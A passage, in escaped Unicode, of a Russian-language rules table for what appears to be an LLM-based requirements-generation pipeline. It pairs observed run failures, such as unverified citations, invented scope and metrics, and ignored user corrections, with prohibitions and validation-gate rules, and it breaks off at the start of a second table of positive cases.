\u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e debug-\u0444\u043e\u0440\u043c\u0443: \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f, \u0444\u0430\u043a\u0442, \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e\u0435\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e. `\u0417\u0430\u043f\u0440\u0435\u0442` \u2014 \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043d\u0435 \u0432\u043f\u0440\u0430\u0432\u0435 \u0434\u0435\u043b\u0430\u0442\u044c;\\n`\u041f\u0440\u0430\u0432\u0438\u043b\u043e` \u2014 \u0447\u0442\u043e \u0431\u0443\u0434\u0443\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c.\\n\\n| ID / \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f | \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0417\u0430\u043f\u0440\u0435\u0442 | \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- | --- |\\n| `EVID-01` grounding | RUN-0026 \u0437\u0430\u044f\u0432\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 `extract_page_success=[0,0,0]`; \u0442\u043e\u0447\u043d\u0430\u044f UI-\u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0438\u0442\u043e\u0433\u0430 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb, \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438\u043b\u0438 \u0442\u043e\u0447\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443, \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442. | \u041a\u0430\u0436\u0434\u043e\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 `source_ref`, \u0442\u043e\u0447\u043d\u044b\u0439 anchor \u0438 `retrieval_status=read`; \u0438\u043d\u0430\u0447\u0435 \u0442\u043e\u043b\u044c\u043a\u043e `hypothesis` \u0438\u043b\u0438 `open_question`. |\\n| `EVID-02` citation | RUN-0024 \u0434\u0430\u043b \u0442\u0440\u0438 \u0441\u043d\u043e\u0441\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0438\u043c \u0444\u0430\u043a\u0442\u044b; \u043e\u0434\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u043e\u0448\u043b\u043e \u0434\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u0442\u0435\u043a\u0441\u0442\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 URL \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c entailment. | \u0413\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u0440\u0443 `claim \u2194 excerpt`, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e `claim \u2194 goal/boundary`; \u043e\u0431\u0435 \u0441\u0432\u044f\u0437\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b. |\\n| `EVID-03` attachment | RUN-0016 \u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 CDN-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0431\u044b\u043b\u043e \u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c run. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 attachment \u0437\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e SSOT. | Evidence \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 checksum \u0438\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443; \u0438\u043d\u0430\u0447\u0435 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f gap. |\\n| `REL-01` relevance | BCREQ-1104 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u043b \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e speech analytics, TTS \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0444\u0430\u043a\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437-\u0437\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u043e\u0432 \u00ab\u0437\u0430\u043f\u0438\u0441\u044c\u00bb, \u00ab\u0437\u0432\u0443\u043a\u00bb \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f. | \u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u043a\u0442\u0430 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b `goal_refs`, `system_boundary`, `product_binding`, `relevance_reason`; keyword match \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d. |\\n| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n| `SCOPE-02` invented scope | RUN-0016 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0440\u0435\u0436\u0438\u043c \u0438\u043d\u043a\u043e\u0433\u043d\u0438\u0442\u043e, \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u0432\u043a\u043b\u0430\u0434\u043a\u0443 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438; RUN-0064 \u043d\u0430\u0448\u0451\u043b \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0439 XLSX \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u043e\u043b\u044c, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044e, \u0444\u043e\u0440\u043c\u0430\u0442, \u043b\u0438\u043c\u0438\u0442 \u0438\u043b\u0438 entitlement \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 `solution_option`/`open_question`, \u043d\u0435 \u0432 FR/NFR. |\\n| `FR-01` wrong level | BCREQ-1104/1106 \u0438 \u0440\u044f\u0434 chat exports \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u043b\u044f, \u043a\u043d\u043e\u043f\u043a\u0438, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 FR. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c UI control, \u043f\u043e\u043b\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0448\u0430\u0433 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, API-\u043c\u0435\u0442\u043e\u0434 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b. | FR \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u043a\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442/\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u00bb \u0438 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f L2\u2013L4 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438. |\\n| `FR-02` wrong subject | RUN-0026 \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b \u00ab\u0434\u0430\u0442\u044c \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u00bb \u043a \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c, \u043f\u043e\u0442\u0435\u0440\u044f\u0432 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u044c. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. | Subject \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0435\u043c: `\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 <\u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435/\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442>`; actor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u043c\u043e\u0439 actor-\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438. |\\n| `FR-03` duplication | RUN-0016 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0434\u0443\u0431\u043b\u0438 4.3.2/4.4.1 \u0438 4.5.1/6.1.1. | \u041d\u0435\u043b\u044c\u0437\u044f \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0432\u0430 ID \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u0438\u043b\u0438 \u043e\u0434\u043d\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a FR \u0438 constraint. | Semantic gate \u0441\u0442\u0440\u043e\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u2192\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u2192\u043e\u0431\u044a\u0435\u043a\u0442\u2192\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 merge/link \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0443\u0431\u043b\u0435\u0439. |\\n| `UC-01` mixed artifact | \u0412 \u0434\u0438\u0430\u043b\u043e\u0433\u0430\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 UI-\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a FR; \u0432 BCREQ-1106 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u043e\u0441\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 variants. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0438\u043b\u0438 \u0432\u0435\u0442\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 FR. | UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, trigger, preconditions, main flow, alternatives/exceptions, outcome \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 FR/NFR/constraints. |\\n| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n| `NFR-02` misclassification | BCREQ-1104 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u0430 \u0432 \u00ab100%\u00bb NFR, \u0445\u043e\u0442\u044f \u044d\u0442\u043e functional outcome. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u0435\u043b\u0430\u0442\u044c NFR \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u0430. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 outcome. NFR \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430/constraint \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438; target \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u0442\u0438\u043f. |\\n| `STATE-01` baseline drift | RUN-0028 \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c 4.1\u20134.4 \u0438 \u0443\u0434\u0430\u043b\u0438\u043b 4.4.3; RUN-0016 \u0432\u0435\u0440\u043d\u0443\u043b \u0441\u043d\u044f\u0442\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0432 summary. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u043e\u043b\u0447\u0430 \u0443\u0434\u0430\u043b\u044f\u0442\u044c, \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442. | \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 explicit change set \u043a baseline; \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 ID continuity, accepted/rejected decisions \u0438 unexplained diff. |\\n| `STATE-02` user correction | BCREQ-1104 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u043a\u0442; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0437\u0436\u0435 \u0441\u043d\u043e\u0432\u0430 \u043e\u043f\u0438\u0440\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u043f\u0440\u0435\u0436\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e. | \u041d\u0435\u043b\u044c\u0437\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c superseded claim \u043f\u043e\u0441\u043b\u0435 \u044f\u0432\u043d\u043e\u0439 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. | Decision log \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 claim `accepted/rejected/superseded`; retrieval \u0438 generation \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442 rejected/superseded. |\\n| `FORMAT-01` instruction | RUN-0029 \u0434\u0432\u0430\u0436\u0434\u044b \u0432\u0435\u0440\u043d\u0443\u043b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\u00bb. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u0431\u0435\u0437 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c. | Rendering gate \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438; \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u044b. |\\n| `TMF-01` false authority | BCREQ-1104 \u0432\u044b\u0434\u0430\u043b \u043e\u0431\u0449\u0438\u0435 ODA/eTOM-\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u043e\u0435 TM Forum mapping \u0431\u0435\u0437 catalog ID \u0438 \u0432\u0435\u0440\u0441\u0438\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u043e\u0447\u043d\u044b\u043c TM Forum \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435\u043c. | Binding \u0432\u0430\u043b\u0438\u0434\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 versioned snapshot \u0441 \u0442\u043e\u0447\u043d\u044b\u043c\u0438 ID; \u0438\u043d\u0430\u0447\u0435 `unresolved`, \u0430 \u043d\u0435 guessed label. |\\n\\n## \u041f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n| Evidence | \u0427\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e | \u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| RUN-0016 | \u041d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, \u043d\u0435 \u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. | \u0414\u0435\u0442\u0430\u043b\u044c \u0431\u0435\u0437 evidence \u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043b\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c; \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 FR, \u043d\u043e \u043d\u0435 